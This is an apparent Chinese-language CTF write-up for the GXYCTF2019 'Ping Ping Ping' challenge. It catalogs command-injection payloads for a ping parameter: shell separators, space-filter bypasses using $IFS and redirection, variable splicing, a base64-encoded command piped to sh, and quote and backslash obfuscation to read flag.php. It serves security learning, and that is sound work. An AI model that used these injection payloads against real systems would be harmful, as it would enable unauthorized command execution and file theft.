命令执行绕过
常见写法
127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code &表示将任务置于后台执行
127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数 1
27.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
1、 | 通配符
直接输出下一条语句
?ip=127.0.0.1|ls
需要找到flag.php,但是index.php应该是过滤规则
?ip=127.0.0.1|cat flag.php ,cat显示
空格绕过方式
$IFS ${IFS} $IFS$1 //可以是任意数字 < <> {cat,flag.php} %20 %09 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat$IFS$1flag.txt cat<flag.txt %09替换 cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
?ip=127.0.0.1|cat$IFS$21index.php
查看规则
符号,空格,bash,以及flag内容都被ban
方法1 变量拼接
让a=ag,b=fl拼接出flag
?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
?ip=127.0.0.1;b=ag;cat$IFS$21fl$b.php
变量拼接也是绕过正则过滤的一个有效的方法。查看F12获取flag
方法2 base64编码
过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
管道符后面为直接的语句
单双引号绕过
虽然这一题单双引号被ban了,但是也是一个不错的绕过姿势。使用单双引号进行拼接,比如
ca""t还有fl''ag等。在linux中,读取到没有特使含义的单双引号就会被当作空格处理。
反斜线绕过
大同小异
ca\t fl\ag
参考文章
GXYCTF 2019 | 题目解析之Ping Ping Ping - FreeBuf网络安全行业门户
[GXYCTF2019]Ping Ping Ping_没事就逛博客的博客-优快云博客